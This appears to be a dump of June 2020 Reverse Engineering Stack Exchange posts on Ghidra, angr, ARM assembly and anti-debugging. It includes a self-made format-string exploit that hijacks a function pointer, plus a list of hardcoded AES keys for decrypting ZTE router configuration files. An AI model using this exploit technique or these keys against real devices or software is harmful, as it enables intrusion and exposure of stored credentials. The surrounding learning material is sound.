In particular, the 6809 has two prefix opcodes: $10 ""page 1"" and $11 ""page two"". These are very common in 6809 code.

+ +

But on the 6805 and many of the chips ending in a smaller number the opcodes $10 and $11 are used for other instructions. On the 6805, $10 is BSET and $11 is BCLR.

+ +

There seem to be quite a few other differences but a side-by-side list of opcodes is not easy to find. In general, both chips have variable length instructions with some same opcodes used for different length instructions, so any attempt to use a tool for one chip on binary code for the other will get out of sync very quickly.

+ +

HOLD THE PRESSES!

+ +

About one minute after posting this answer as a result of a few hours of research I made a confusing discovery:

+ +

According the the Ghidra source on GitHub, 6809 support was added in November 2019. You can see in the directory for the 6805 support:

+ +

https://github.com/NationalSecurityAgency/ghidra/tree/master/Ghidra/Processors/6805/data/languages

+ +
+
6809.cspec    Support Motorola M6809  7 months ago  
+6809.pspec    Support Motorola M6809  7 months ago  
+6809.slaspec  GT-3483: fixed sleigh error in 6x09 language spec.  5 months ago
+
+
+ +

I'm using Ghidra version 9.1.12, released in February 2020 so this functionality should be there. Either it's missing due to a bug or I simply can't find the way to use it. It does not appear in the list of ""languages"" and there is no related option if you choose 6805 as the language.

+ +

I've filed issue #1958 on Ghidra: https://github.com/NationalSecurityAgency/ghidra/issues/1958

+",153,,153,,6/8/2020 3:20,6/8/2020 3:20,,,,0,,,,CC BY-SA 4.0 +25234,2,,25120,6/8/2020 3:16,,0,,"

In my case it was a flaky connection. I was originally just using jumper wires to make contact into the through holes on the board and hook it up to the bus pirate. I soldered header pins to it and now I can see the output totally clearly.

+",33229,,,,,6/8/2020 3:16,,,,0,,,,CC BY-SA 4.0 +25235,2,,24883,6/8/2020 4:17,,3,,"

Ghidra flexible arrays support what you are trying to do. From Ghidra help (search for "flexible array"):

+
+

A flexible array is added to the end of a structure by adding a last row specified by the base DataType (e.g. char) then invoking the array action and specifying an element count of 0.

+
+

So you can't create a flexible array in 1 step. Enter the data type for the variable-length structure member first. Then select the row for that new structure member and press the [ key to invoke the array action. Entering 0 as the element count in the resulting dialog will create a flexible array.

+

Ghidra flexible arrays have limited functionality. From Ghidra help:

+
+

The use of flexible array components is not currently reflected in decompiler results or listing reference markup. Its primary purpose if to reflect the C/C++ source definition of a structure with correct alignment and structure sizing.

+

While C/C++ support flexible arrays anywhere within a structure, Ghidra only supports the case where it is the last structure component.

+
+",33483,,-1,,6/17/2020 9:54,6/8/2020 4:17,,,,0,,,,CC BY-SA 4.0 +25237,1,25241,,6/8/2020 8:10,,2,1561,"

I am trying to learn angr from beginning. Due to lack of simple tutorials I programmed my own little executable which angr should solve.

+ +

The C code looks as follows:

+ +
#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+
+int main(int argc, char *argv[]) {
+    char buffer[20];
+    printf(""Password\n"");
+    fgets(buffer,20,stdin);
+    if (strcmp(buffer,""super!\n"")==0) {
+        printf(""SUCCESS!\n"");
+    } else {
+        printf(""FAIL!\n"");
+    }
+    return 0;
+}
+
+ +

When compiled and opened in binary ninja I see the printfs at following addresses: + +So I created following angr python3 code:

+ +
import angr
+from angr.state_plugins import SimSystemPosix
+
+p = angr.Project('./test')
+state = p.factory.entry_state()
+
+
+
+sm = p.factory.simulation_manager(state)
+sm.explore(find=0x40118c, avoid=0x40119a)
+
+print(sm.found)
+
+ +

Running the python code shows following output:

+ +
+

python3 solve_angr.py + WARNING | 2020-06-08 10:02:29,497 | angr.state_plugins.symbolic_memory | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.
+ WARNING | 2020-06-08 10:02:29,497 | angr.state_plugins.symbolic_memory | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
+ WARNING | 2020-06-08 10:02:29,497 | angr.state_plugins.symbolic_memory | 1) setting a value to the initial state
+ WARNING | 2020-06-08 10:02:29,497 | angr.state_plugins.symbolic_memory | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
+ WARNING | 2020-06-08 10:02:29,497 | angr.state_plugins.symbolic_memory | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY_REGISTERS}, to suppress these messages.
+ WARNING | 2020-06-08 10:02:29,498 | angr.state_plugins.symbolic_memory | Filling memory at 0x7fffffffffefff8 with 72 unconstrained bytes referenced from 0x58d4e0 (strcmp+0x0 in libc.so.6 (0x8d4e0))
+ WARNING | 2020-06-08 10:02:29,499 | angr.state_plugins.symbolic_memory | Filling memory at 0x7fffffffffeff70 with 8 unconstrained bytes referenced from 0x58d4e0 (strcmp+0x0 in libc.so.6 (0x8d4e0))
+ []

+
+ +

The [] indicates that it did not find any solution.

+ +

Can anybody tell me what I did wrong?

+",33485,,,,,6/8/2020 15:56,Simple angr example not working,,2,0,,,,CC BY-SA 4.0 +25241,2,,25237,6/8/2020 14:20,,2,,"

I believe that the issue is related to the way gets symbolic procedure implemented in angr. You are asking to read 20 bytes, and as far as I understand, the actual symbolic memory that is allocated is of the size of 20 (19 string characters and a NULL terminator). Later, when you call to strcmp, the comparison will always fail, because you compare 20 bytes string to super!\n which is shorter. So the compare result will never be 0, and angr's symbolic execution engine will never reach the printf(""SUCCESS!\n""); clause.

+ +

If you modify your code to be:

+ +
#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+
+int main(int argc, char *argv[]) {
+    char buffer[20];
+    printf(""Password\n"");
+    fgets(buffer,8,stdin); // <-------------- Adjust size to be same as ""super!\n""
+    if (strcmp(buffer,""super!\n"")==0) {
+        printf(""SUCCESS!\n"");
+    } else {
+        printf(""FAIL!\n"");
+    }
+    return 0;
+}
+
+ +

This way it works fine and reaches printf(""SUCCESS!\n"");

+",31278,,,,,6/8/2020 14:20,,,,0,,,,CC BY-SA 4.0 +25242,2,,25237,6/8/2020 15:56,,0,,"

If you can't modify the binary but through the static analysis you get the number of bytes you need to provide as a flag, you can construct bit vector

+ +
flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(6)]
+flag = claripy.Concat(*flag_chars + [claripy.BVV(b'\n')])
+
+ +

and pass that to the entry_state since the flag is provided as an input through stdin to this binary.

+ +
p = angr.Project('test')
+state = p.factory.entry_state(args=['./test'], stdin=flag)
+
+ +

With such setup, angr will successfully find the solution.

+ +

Additionally, if you would like to extract the flag

+ +
found = sm.found[0]
+flag_str = found.solver.eval_upto(flag, 7, cast_to = bytes)
+print(flag_str)
+
+",18014,,,,,6/8/2020 15:56,,,,0,,,,CC BY-SA 4.0 +25243,2,,21367,6/8/2020 21:31,,1,,"

I think I have finally found an answer to this question. +Since I didn't find an answer anywhere in the Internet (including MSDN documentation for signal, articles covering anti debuggging techniques and exception handling on Windows) and the problem existed in all debuggers tested (OllyDbg1/2, x64dbg, IDA debugger, radare2, gdb), I analysed exception handling mechanism described in Windows Internals 6th edition. Following image and cites come from this book, from page 126.

+ +

The exception dispatching process may be illustrated this way (actions will be performed from top to the bottom on the image): +

+ +

Actions performed:

+ +
    +
  1. +

    the first action the exception + dispatcher takes is to see whether the process that incurred the exception has an associated debugger process. If it does, the exception dispatcher sends a debugger object message to the debug object + associated with the process (which internally the system refers to as a “port” for compatibility with + programs that might rely on behavior in Windows 2000, which used an LPC port instead of a debug + object).

    +
  2. +
  3. +

    If the process has no debugger process attached or if the debugger doesn’t handle the exception, + the exception dispatcher switches into user mode, copies the trap frame to the user stack formatted + as a CONTEXT data structure [...], and calls a routine to find a structured or vectored exception handler

    +
  4. +
  5. +

    If none is found or if none handles the exception, the exception + dispatcher switches back into kernel mode and calls the debugger again to allow the user to do more + debugging. (This is called the second-chance notification.)

    +
  6. +
  7. +

    If the debugger isn’t running and no user-mode exception handlers are found, the kernel sends + a message to the exception port associated with the thread’s process. This exception port, if one exists, was registered by the environment subsystem that controls this thread. The exception port gives + the environment subsystem, which presumably is listening at the port, the opportunity to translate + the exception into an environment-specific signal or exception. For example, when Subsystem for + UNIX Applications gets a message from the kernel that one of its threads generated an exception, + Subsystem for UNIX Applications sends a UNIX-style signal to the thread that caused the exception

    +
  8. +
  9. +

    However, if the kernel progresses this far in processing the exception and the subsystem doesn’t + handle the exception, the kernel sends a message to a systemwide error port that Csrss (Client/Server + Run-Time Subsystem) uses for Windows Error Reporting (WER)

    +
  10. +
  11. +

    executes a default exception handler that simply terminates the process whose thread caused the + exception

    +
  12. +
+ +

Points 1., 2., 3., 5. and 6. aren't surprising. However, notice the point 4. It says, that if first three points didn't handle the exception and the debugger isn’t running, environment subsystem can translate the exception into an environment-specific signal which is then sent to the application.

+ +

But that only happens when a debugger is not attatched to the process and this explains why the exception handler was only called when the program was running outside a debugger. Otherwise, point 4. from the list above was simply not performed.

+ +

So, it wasn't simply SEH anti debugging technique (signal function doesn't add a handler to the SEH chain) - in fact it used a different concept and detected debugger in a different way.

+ +

Since I haven't found this anti debugging technique described anywhere, I hope this information will help someone, when he encounters such a technique during analysis.

+ +

And, since it is not stated in the book how OS checks whether an application is being debugged at point 4., it may be necessary to change the control flow of the program manually when an exception is being processed to force it to execute the handler.

+",27930,,,,,6/8/2020 21:31,,,,1,,,,CC BY-SA 4.0 +25245,1,25251,,6/9/2020 2:46,,1,117,"

I'm a little stuck trying to understand this simple piece of code. It get's a number in R0. The first part seems to be a R0 = abs(R0), but then it get's more difficult. The number of leading zeros is determined, then it's left shifted by that many bits and then it's checked if that is > 0, otherwise 0 is returned. I don't get what the purpose of the entire shifting there is supposed to be and what the Add and additional shift operations are supposed to do there.

+ +
ROM:0005B7BE ; =============== S U B R O U T I N E =======================================
+ROM:0005B7BE
+ROM:0005B7BE
+ROM:0005B7BE sub_5B7BE
+ROM:0005B7BE                 ANDS.W  R2, R0, #0x80000000
+ROM:0005B7C2                 IT MI
+ROM:0005B7C4                 NEGMI   R0, R0
+ROM:0005B7C6                 CLZ.W   R3, R0
+ROM:0005B7CA                 LSLS.W  R1, R0, R3
+ROM:0005B7CE                 BEQ     retZero
+ROM:0005B7D0                 RSB.W   R3, R3, #29
+ROM:0005B7D4                 ADD.W   R3, R3, #1024
+ROM:0005B7D8                 MOV.W   R0, R1,LSL#21
+ROM:0005B7DC                 ADD.W   R2, R2, R3,LSL#20
+ROM:0005B7E0                 ADD.W   R1, R2, R1,LSR#11
+ROM:0005B7E4                 BX      LR
+ROM:0005B7E6 ; ---------------------------------------------------------------------------
+ROM:0005B7E6
+ROM:0005B7E6 retZero
+ROM:0005B7E6                 MOV.W   R0, #0
+ROM:0005B7EA                 BX      LR
+ROM:0005B7EA ; End of function sub_5B7BE
+
+",27992,,,,,6/10/2020 7:51,Issue understanding simple ARM ASM function,,1,2,,,,CC BY-SA 4.0 +25246,1,25247,,6/9/2020 5:10,,5,661,"

I'm debugging an ARM cortex M4 (STM32F4) running FreeRTOS. +Inside the assembly FreeRTOS function vPortSVCHandler, there's a branch instruction

+ +
bx r14
+
+ +

using GDB, I step through instruction by instruction and find that r14 (lr) contains the value 0xfffffffd (not a valid address) immediately before the bx instruction is executed.

+ +

For some reason, GDB doesn't follow the bx instruction with si (hangs), but I'm still able to step via openOCD. I find that the function that's branched to is in fact a valid function at address 0x08012abc.

+ +

From the ARM docs on bx, its argument should be a register containing an address to branch to.

+ +

Clearly, I'm misunderstanding or looking at the wrong docs.

+ +

I tried tweaking lr with GDB just before the branch instruction. Changing it to 0x0 or 0xfffffff7 results in a hard fault shortly after the branch.

+ +

How does this branch instruction, when called with a value of 0xfffffffd, result in branching to a valid function at 0x08102abc?

+",33492,,,,,6/10/2020 7:44,ARM bx instruction branches to address not specified as argument,,1,0,,,,CC BY-SA 4.0 +25247,2,,25246,6/9/2020 6:08,,12,,"

Values around FFFFFFFF are used in Cortex-M for exception returns +(ECX_RETURN). Currently defined values:

+ +
    +
  1. 0xFFFFFFF1 - return to Handler mode, restore state from main stack

  2. +
  3. 0xFFFFFFF9 - return to Thread mode, restore state from main stack

  4. +
  5. 0xFFFFFFFD - return to Thread mode, restore state from process stack

  6. +
+ +

So the actual branch address is taken from the stack (MSP or PSP, depending on the low bits of the value). See the linked document for more details.

+ +

Since GDB is mostly used for user-mode debugging, it does not expect such shenanigans and probably tries to set a breakpoint at the value of LR which naturally fails. OpenOCD knows about exceptions and is able to step properly.

+",60,,60,,6/10/2020 7:44,6/10/2020 7:44,,,,0,,,,CC BY-SA 4.0 +25248,1,,,6/9/2020 9:16,,1,151,"

I am new to reverse engineering, How to work on the diffing results(Similar function) generated by Bindiff using IDAPython.

+ +

*work is like finding no basic blocks, no of edges

+",33339,,,,,5/12/2021 23:05,How to work on diffing result generated by bindiff,,1,0,,,,CC BY-SA 4.0 +25249,1,,,6/9/2020 11:57,,9,2713,"

In Ghidra, the decompiler prepends various prefixes to variable names. For instance, iVar1 is an integer. However, there are a lot of prefixes that aren't immediately obvious, find some below, but I'm looking for a complete dictionary if anyone knows where it is:

+ +
    +
  • local_31
  • +
  • auStack8320
  • +
  • uStack4
  • +
  • DAT_<addr>
  • +
+",19077,,,,,6/16/2021 15:29,Is there a list of Ghidra's variable prefixes?,,1,1,,,,CC BY-SA 4.0 +25250,2,,21827,6/9/2020 12:36,,3,,"

You can use the zcu module to do this.

+ +
python examples/encode.py config.bin.xml out.bin --key 'GrWM2Hz&LTvz&f^5' --signature 'ZXHN H108N V2.5'
+
+ +

Full disclosure: I wrote the zcu module. It's based off of this pastebin.

+",17778,,,,,6/9/2020 12:36,,,,0,,,,CC BY-SA 4.0 +25251,2,,25245,6/9/2020 14:05,,4,,"

This is function dflt (or __aeabi_i2d) from the ARM compiler libraries. It performs a conversion of a 32-bit signed integer in R0 into a a soft-float double (64-bit floating point value) in R0:R1.

+ +

An IEEE 754 double consists of a sign bit, 11-bit exponent and 52-bit fraction:

+ +
 63  62             52 51                                         0
++------------------------------------------------------------------+
+| s | exponent(11)    |           fraction(52)                     |
++------------------------------------------------------------------+
++------------------------------------------------------------------+
+|           R1                |             R0                     |
++------------------------------------------------------------------+
+31                           0 31                                 0  
+
+ +

The value of the number is 2^(e-1023)*1.fraction

+ +

The code calculates the exponent and fraction that would approximate the original value and puts it into R0:R1. The magic numbers in shifts are necessary to line up the fraction across the two registers and 1024 is the bias for the exponent.

+",60,,60,,6/10/2020 7:51,6/10/2020 7:51,,,,1,,,,CC BY-SA 4.0 +25252,1,25275,,6/9/2020 14:08,,1,578,"

I have several applications that interact with the network, but the data is encrypted. I set breakpoints on send ws2_32.dll and found the correct buffer in which the encrypted data was located (then I checked the call stack to find the encryption function used), but this did not lead to anything good, for example, breakpoints for reading and entries in. If you have information describing the process of searching for packages in programs or in examples / books. I'll be happy

+",33495,,,,,6/11/2020 11:18,Decrypt application protocol packet,,2,0,,,,CC BY-SA 4.0 +25254,2,,4543,6/9/2020 15:08,,5,,"

The answer should really state what the difference is between a virtual thunk and a non virtual thunk. They are identical in operation but just have a different name. The thunk for a virtually inherited base class is called a virtual thunk and the base object will be at the end of the object, whereas a thunk for a regularly inherited class whose object is not at the start of the object is called a non virtual thunk.

+

If you have C inherits from A and B, then A's virtual pointer will be at the start of the object (with C's vtable pointer for A pasted over it) and therefore doesn't require a pointer offset to the start when calling methods of type C* with an A*, and subobject B (with C's vtable pointer for B pasted over it) will be at an offset in the object. The virtual table for B will have to contain a non-virtual thunk that will offset to the pointer to the start of the object because the method that's being called virtually is one of C that accepts a pointer to a C object and if this virtual table is used then it will be receiving a polymorphically cast pointer to B, hence the need for the call in the table to be a thunk.

+

If you have D inherits from B and C, and B and C inherit virtually from A, then this means that B's virtual table pointer will be at the start of the object (with D's vtable for B pasted over it) and C's vtable pointer (with D's vtable pointer for C pasted over it) will be at an offset and requires a non virtual thunk when it is called which will be when the object pointer it is called on is cast to a C* type. A and its vtable pointer (with D's vtable for A pasted over it) will be at the end of the object and will instead require a virtual thunk in the vtable instead of the actual virtual method, and the virtual thunk calls the actual virtual method, and this gets called when the method is called on an object pointer cast to A*.

+

The virtual thunk offsets the object address by e.g. - 32 (wherever the virtual base object is) and the non virtual thunk offsets the object address by e.g. - 16 (wherever the 2nd subobject is). Basically, a virtual thunk offsets an object of type of a virtually inherited class to the start of the object when calling a method that is defined in the most derived class. The virtual thunk is for virtually inherited classes, which only have 1 special object within the object rather than multiple. If you didn't virtually inherit, there would be multiple of those objects within the object, and youd use a non virtual thunk to offset them when calling a method in the most derived class

+",32847,,32847,,3/1/2021 13:56,3/1/2021 13:56,,,,5,,,,CC BY-SA 4.0 +25255,2,,11626,6/9/2020 18:43,,3,,"

came across these keys and sharing

+ +

Known AES keys:

+ +
  zxhn h118n ert5                      - 'MIK@0STzKpB%qJZe'
+  zxhn h118n V2.1.3_ROSCNT?            - 'MIK@0STzKpB%qJZf'
+  zxhn h168n v3                        - '402c38de39bed665'
+  zxhn h298n hv17_fv116_mts?t1         - 'Wj' (due to bug, orig. is 'Wj%2$CjM')
+  zxhn h298a hw1.1.20_fw1.1.20_ros_t1? - 'm8@96&ZG3Nm7N&Iz'
+  zxhn h108n hw1.2_fw2.5.4_eg1t8_ted,
+  zxhn h108n hv11_fv2_5_4_*            - 'GrWM2Hz&LTvz&f^5'
+  zxhn h168n hv10_fv310t3_belt         - 'GrWM3Hz&LTvz&f^9'
+  zxhn h208n hv10_fv1010_belt16t1      - 'Renjx%2$CjM'
+  zxhn h267n hv10_fv100t3_belt         - 'tHG@Ti&GVh@ql3XN'
+
+",33502,,,,,6/9/2020 18:43,,,,0,,,,CC BY-SA 4.0 +25256,2,,14711,6/9/2020 18:46,,2,,"

came across these keys and sharing

+ +

Known AES keys:

+ +
  zxhn h118n ert5                      - 'MIK@0STzKpB%qJZe'
+  zxhn h118n V2.1.3_ROSCNT?            - 'MIK@0STzKpB%qJZf'
+  zxhn h168n v3                        - '402c38de39bed665'
+  zxhn h298n hv17_fv116_mts?t1         - 'Wj' (due to bug, orig. is 'Wj%2$CjM')
+  zxhn h298a hw1.1.20_fw1.1.20_ros_t1? - 'm8@96&ZG3Nm7N&Iz'
+  zxhn h108n hw1.2_fw2.5.4_eg1t8_ted,
+  zxhn h108n hv11_fv2_5_4_*            - 'GrWM2Hz&LTvz&f^5'
+  zxhn h168n hv10_fv310t3_belt         - 'GrWM3Hz&LTvz&f^9'
+  zxhn h208n hv10_fv1010_belt16t1      - 'Renjx%2$CjM'
+  zxhn h267n hv10_fv100t3_belt         - 'tHG@Ti&GVh@ql3XN'
+
+",33502,,,,,6/9/2020 18:46,,,,0,,,,CC BY-SA 4.0 +25257,1,,,6/9/2020 22:36,,2,190,"

I encountered a print format vulnerability challenge in a CTF. I don't know anything about these vulnerabilities, so I'm working my way through Saif El-Sherei's format string exploitation tutorial from exploit-db.com (https://www.exploit-db.com/docs/english/28476-linux-format-string-exploitation.pdf). But, I'm getting stuck really early on. I'm hoping someone can point out where I'm going wrong.

+ +

Here's some code I wrote:

+ +
#include <stdio.h>
+#include <stdlib.h>
+
+void nicefunction()
+{
+        printf(""you are in the nice function!\n"");
+}
+void notnicefunction()
+{
+        printf(""you are in the NOT nice function!\n"");
+}
+int foo()
+{
+  void (*fptr)() = &nicefunction;
+  char buf[100];
+
+  puts(""Please enter a string. "");
+  fgets(buf,80,stdin);
+  puts(""Here's your string"");
+  printf(buf);
+  puts(""\nNow we call the nice function"");
+  (*fptr)();
+  return 0;
+}
+
+int main(int argc, char **argv)
+{
+  foo();
+}
+
+ +

My goal is to craft an input string that I can use to change fptr to point to notnicefunction. I compiled it with: gcc -m32 -g test.c -fno-stack-protector -z execstack -o test

+ +

I ran the binary under gdb and added before and after breakpoints. When I enter the string ""AAAA"" and then do x/20xw $esp afterwards, I see my 0x41414141 in the stack, at 0xffffd018. If I rerun and enter the string ""AAAA %6$x"" I get AAAA 41414141. So far so good.

+ +

Now I want to find the address of fptr. Using nm, I see that it should contain the value of 0x0804849b (the address of nicefunction). My goal is to change it to 0x080484b4, the address of notnicefunction. I rerun with AAAA, and then examine the stack until I find the address that contains 0x0804849b. That's 0xffffd07c, 0x64 (100d) words deeper in the stack from the start of buf. Which makes sense.

+ +

I'd like to control the contents of fptr by using %n. So I crafted this input string: \x7c\xd0\xff\xff\xff\xffAAAA%5$x%n. I think this should change the contents of 0xffffd07c to 13d. But instead I segfault in the printf.

+ +

Where am I going wrong?

+ +

UPDATE: I tried writing my fptr address into the start of the buffer, just to see if I was writing the address correctly. But when I checked it in gdb, it had the ASCII representation in it:

+ +
(gdb) x/20xw $esp+8
+0xffffd018: 0x6337785c  0x3064785c  0x6666785c  0x6666785c
+
+ +

So the problem is that bash doesn't like my hex literals. I guess I could fix this with redirection from a file. But if anyone knows of a cleaner way to handle this, I'd love to know about it.

+ +

MOAR UPDATE: Pawel's comment below got me past the how-do-I-get-hex-bytes-into-this-binary hurdle. But I was still segfaulting on my %n. But the segfaults went away when I changed %5$x %n to %x %x %x %x %x %n. Now I am able to (sort of) control the contents of arbitrary stack memory. Whoohoo!

+",28051,,28051,,6/10/2020 22:02,11/8/2020 0:01,Newbie problems exploiting a format string vulnerability,,2,3,,,,CC BY-SA 4.0 +25259,2,,25257,6/9/2020 23:51,,0,,"

I am not sure the %n takes the next argument after the %5$x.

+ +

Try \x7c\xd0\xff\xffAAAA%6$n. Seemed to work for me.

+",8616,,,,,6/9/2020 23:51,,,,1,,,,CC BY-SA 4.0 +25260,2,,25252,6/10/2020 0:03,,2,,"

The encryption routine is not likely to be in your call stack because it is not actually going to call the send function directly.

+ +

I would suggest you set a watch point inside the buffer to catch whenever the buffer is written to. Routines that write to the buffer will probably be reading from some input buffer. There could well be a few steps of adding headers/checksums but if you keep going backwards you may find a function which reads unencrypted data and writes encrypted data.

+",8616,,,,,6/10/2020 0:03,,,,5,,,,CC BY-SA 4.0 +25261,1,25264,,6/10/2020 8:50,,0,1878,"

I'm using Ghidra to reverse engineer an EXE file and save its assembly line code only. Does Ghidra have any function or scripts which exports the assembly line code? I don't want to manually copy the code from the Listing window.

+",33506,,245,,6/24/2020 11:49,6/24/2020 11:49,Extracting Assembly line code from an executable in Ghidra,,1,0,,,,CC BY-SA 4.0 +25262,1,25265,,6/10/2020 10:15,,1,134,"

I'm writing an IDA python script, and i need to be able to detect position independent code. I have an instruction that IDA displays using the operand name 'format'

+ +
lea     rdi, format
+
+ +

However, when i use capstone disassembler or disassember.io it displays the instruction as

+ +
lea     rdi, [rip + 0xd5a]
+
+ +

Is there an ida python function that will return the instruction in the form of the register + the immediate offset instead of the relative value or operand name?

+ +

I tried using idc.get_operand_value but it returns the full address, not the register + offset.

+ +

I've also tried idc.GetDisasm but that just returns the instruction as it's displayed in IDA.

+ +

The hexbytes for the instruction are 48 8d 3d 5a 0d 00 00

+ +

Architecture is i386 x86-64

+",33508,,,,,6/10/2020 13:14,Displaying Operands as Position Independent in IDA,,1,0,,,,CC BY-SA 4.0 +25264,2,,25261,6/10/2020 12:36,,5,,"

Not sure if you ask about one line or the whole program.

+ +

One assembly line can be obtain for example by such script:

+ +
addr = toAddr(<address>)
+print(currentProgram.getListing().getInstructionAt(addr))
+
+ +

if we are talking about the whole program

+ +
for instr in currentProgram.getListing().getInstructions(True):
+    print(instr)
+
+ +

but I guess the last one can take a while. More information can be found in the docs about Listing object.

+",18014,,,,,6/10/2020 12:36,,,,3,,,,CC BY-SA 4.0 +25265,2,,25262,6/10/2020 13:14,,1,,"

Options-General-Analysis-Processor specific options, [x] Explicit RIP-addressing.

+",60,,,,,6/10/2020 13:14,,,,0,,,,CC BY-SA 4.0 +25266,1,25267,,6/10/2020 14:42,,0,122,"

I have a ""Hello World"" console app compiled with Flat Assembler. The size of the executable is 2048 bytes and the checksum is 0x3797.

+ +

Questions:

+ +

Does it matter if I make changes to the data section and minor change to code section of the executable while maintaining the same checksum?

+ +

Not really changing the opcode, just inserting different input.Length (length of null-terminated text string in data section)

+ +
     push 0xfffffff5 // - 11
+     call DWORD PTR ds:0x40304c // .idata [GetStdHandle]
+     push 0x0
+     push 0x401014
+     push [input.Length]
+     push 0x401000 // .data
+     push eax
+     call DWORD PTR ds:0x403050 // .idata [WriteConsole]
+     push 0x0
+     call DWORD PTR ds:0x0403048 // .idata [ExitProcess]
+
+ +

Why does it still run even though I use different checksum? +For example, it still run even if I change the checksum to 0x995A or 0x5A99.

+ +

I use ImageHlp.dll to compute the checksum as summarized below:

+ +
int HeaderSum = 0;
+int CheckSum = 0;
+IntPtr ptrHeaderSum=Marshal.AllocHGlobal(sizeof(int));
+Marshal.WriteInt32(ptrHeaderSum, HeaderSum);
+IntPtr ptrCheckSum = Marshal.AllocHGlobal(sizeof(int));
+Marshal.WriteInt32(ptrCheckSum, CheckSum);
+UInt32 status= ImageHlp.MapFileAndCheckSumA(@""D:\19_02_21.exe"", ptrHeaderSum, ptrCheckSum);
+
+Console.WriteLine(status);
+CheckSum = Marshal.ReadInt32(ptrCheckSum);
+Console.WriteLine(CheckSum);
+
+Marshal.FreeHGlobal(ptrHeaderSum);
+Marshal.FreeHGlobal(ptrCheckSum);
+Console.ReadLine();
+
+",,user33509,,,,6/10/2020 16:15,"Why does an executable still run despite changes to checksum, or changes to data section without new checksum?",,1,0,,,,CC BY-SA 4.0 +25267,2,,25266,6/10/2020 16:15,,0,,"

The PE checksum is only checked for drivers by the kernel, for the user-mode binaries it's optional. As mentioned in the doc:

+ +
+

Checksums are required for kernel-mode drivers and some system DLLs. + The linker computes the original checksum at link time, if you use the + appropriate linker switch. For more details, see your linker + documentation.

+
+ +

The linker option is /RELEASE:

+ +
+

The /RELEASE option sets the Checksum in the header of an .exe file.

+ +

The operating system requires the Checksum for device drivers. Set the + Checksum for release versions of your device drivers to ensure + compatibility with future operating systems.

+ +

The /RELEASE option is set by default when the /SUBSYSTEM:NATIVE + option is specified.

+
+",60,,,,,6/10/2020 16:15,,,,0,,,,CC BY-SA 4.0 +25268,1,25279,,6/10/2020 19:40,,0,265,"

I have disassembled an old DOS application with IDA. It run in 16-bit real mode. Some instructions are referencing variables defined in the data segment (DS).

+ +
push    word ptr ds:8401h
+
+ +

Since I have imported debug symbols, I can display variable name by simply putting mouse over the ds:xxxxh part.

+ +

The problem is this only works when IDA is running in debug mode (eg: a DOSBox process is attached to it). Otherwise nothing is shown.

+ +

One possible explanation is that the data segment register (DS) is only set when application is running so IDA as no clue what value it is. In fact, the very first instructions of the program are dedicated to initializing the data segment :

+ +
; entry point
+mov   dx, seg dseg 
+...                     
+...                      ; a few instruction later
+mov   ds, dx
+
+ +

I think this is how IDA is able to guess where the data segment is (which is reported as dseg in the Segments view).

+ +

In that application, DS is set once for good and never changed over the time. Is there a way to tell IDA it should assume DS is equal to a given value in the whole disassembly ? (so hovering those variables will give proper name even when no process is attached).

+",14570,,14570,,6/10/2020 22:36,6/11/2020 20:29,How to retrieve name of a variable defined in the data segment in IDA when no process is attached?,,2,0,,,,CC BY-SA 4.0 +25269,2,,25257,6/10/2020 22:01,,1,,"

The input string that finally let me execute the not nice function was echo -n -e '\x7c\xd0\xff\xffJUNK\x7e\xd0\xff\xff. %x %x %x %x %33929x %hn' > /tmp/xxx

+ +

This gave me:

+ +
22    (*fptr)();
+(gdb) x/4xw 0xffffd070
+0xffffd070: 0x00000001  0x00000003  0xf7e25a50  0x080484b4
+(gdb) c
+Continuing.
+you are in the NOT nice function!
+
+",28051,,,,,6/10/2020 22:01,,,,1,,,,CC BY-SA 4.0 +25270,1,,,6/11/2020 0:41,,1,602,"

I am attempting to communicate to a device i have via the onboard rx/tx solder points i found on the board. I am doing this via an arduino uno.

+ +

The problem i am having is that when i connect to it via serial (baud 115200) i get the correct output from the device but any key i press seems to come up as a random character. Is there a setting that i need to change in putty? What am i missing?

+ +

The following screenshot is just holding down the ""h"" key. +

+",33517,,,,,6/11/2020 10:46,Wrong keyboard strokes sent to serial in putty,,1,0,,,,CC BY-SA 4.0 +25271,1,25291,,6/11/2020 5:09,,1,59,"

Some of the structure types have members that are not stacked next to each other. Check out the structure type at 0x33E6 in bzip2_base (x86-64) here. There's an int at location offset 0, a char at 4 and then an int at 5004! and so on, which brings up the size of the struct to 5104 Bytes, although it only consists of int and char variables (3 of each) with a struct called strm which is 640 Bytes long.

+",33460,,33460,,6/14/2020 11:11,6/14/2020 22:29,How are members of a Structure Type positioned on the stack?,,1,0,,,,CC BY-SA 4.0 +25272,2,,25268,6/11/2020 7:54,,1,,"

You can press Ctrl+G and check the different settings of the segment registers.

+ +

You can press Alt+G to edit the segment registers.

+",31278,,,,,6/11/2020 7:54,,,,1,,,,CC BY-SA 4.0 +25273,2,,25270,6/11/2020 10:46,,2,,"

You have probably tried already but other baud rates? +9600, 1200, 2400, 57600

+ +

Seems like 8,N,1 is common? +8 DATA, No parity, and 1 STOP bit

+ +

Maybe helpful? +https://stackoverflow.com/questions/11997108/what-does-putty-send-when-i-press-enter-key

+ +

Try changing what the Enter key does under the Terminal Keyboard setting might not be available in putty can't remember.

+ +

Try typing ESC[20h in putty after connecting to the device.

+ +

Try another terminal such as RealTerm? +https://sourceforge.net/projects/realterm/

+ +

Bad ground/connection? +Looks similar to what happened in this buspirate video on hidden serial ports, although his issue turned out to be wrong wires. +https://youtu.be/ey8flzU9DJg?t=343

+ +

A full series here might have something useful to debug why this is happening? +https://www.youtube.com/watch?v=v9q6Sye7WgU&list=PLRovDyowOn5GZBvMGBRxFG_UrpdfFV6t5

+ +

Just thoughts that come to mind as it looked like something I saw elsewhere, however I don't have a lot of experience in this area yet and have only tampered with basics with the bus pirate, sorry in advanced if im not helping...

+",3223,,,,,6/11/2020 10:46,,,,0,,,,CC BY-SA 4.0 +25275,2,,25252,6/11/2020 11:11,,1,,"

In some games I have found the encryption on, it has been before the send call e.g. a function that calls send sometimes 2-3 calls up.

+ +

For recv it is decrypting after but some first decrypted part of it for a header to look up the size/id.

+ +

Others had compressed packets (zlib) which took a little bit of figuring.

+ +

